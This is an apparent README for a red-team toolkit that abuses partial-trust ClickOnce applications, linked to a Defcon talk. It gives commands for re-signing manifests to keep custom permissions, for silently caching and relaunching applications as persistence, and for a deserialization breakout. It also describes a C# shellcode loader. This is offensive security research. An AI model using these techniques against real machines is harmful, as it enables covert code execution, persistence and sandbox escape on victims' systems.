A collection of tools to abuse partial trust clickonce applications, presented at Defcon 34
They're pretty useful :)
Please review https://nathan2.com/posts/clicktools for the whitepaper and more information.
Signing tool to bypass mage. Only updates signatures.
Use the signonce file to ONLY sign the xml of the deployment and application manifest. Remember you only need to sign the application manifest at the root of the folder (next to setup.exe). It's used to bypass mage when you want to make weird changes to the perms, and you don't want mage.exe to undo them. This allows you to assign custom permissions and expirement with your clickonce. Example usage where name is the name of your project:
.\signonce.ps1 -DeployManifestPath "folder\name.application" -AppManifestPath "\folder\Application Files\name_versionnumber\name.exe.manifest" -PfxPath "\source\repos\name\name\name_TemporaryKey.pfx"
You can also use -PfxPassword if necessary. However, if you have an actual certificate, you probably don't need this repo.
Used to silently cache a clickonce application. Does not launch it. Can cache an application from any deployment, from website or from disk. Use it to download a .net framework full trust application. Then launch later.
Usage:
silentloader.exe --manifest https://example.com/deploymentname/name.application
Use this command to launch your full trust application once it is cached, or already installed. The url can be changed to a file:// setup as well if deployed locally.
Can also be used as persistance to re launch any previously cached/installed application.
Adjust name, , and version number. The correct values are all located in your .exe.manifest file once you publish your application. And of course, the location of your application manifest.
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\applaunch.exe" /activate "https://example.com/deploymentname/name.application#name.application, Version=1.0.0.4, Culture=neutral, PublicKeyToken=<SNIP>, processorArchitecture=amd64/name.exe, Version=1.0.0.4, Culture=neutral, PublicKeyToken=<SNIP>, processorArchitecture=amd64, type=win32"
Extremely simple code outline to execute commands once given UnmanagedCode and ExecutionFlags.
Overly complicated way to breakout once given UnmanagedCode and SerializationFormatter flags. Works with the Ysoserial BinaryFormatter ClaimsPrincipal strategy to execute commands.
This is a shellcode loader written in C#. Much of it is based off of this blog. Please read, they know more than me on shellcode loading. https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls For proof that it works, theres no obfuscation applied and an x64 calculator payload placed inside.
Can be deployed from a partial trust application. Needs unmanaged code priviledges.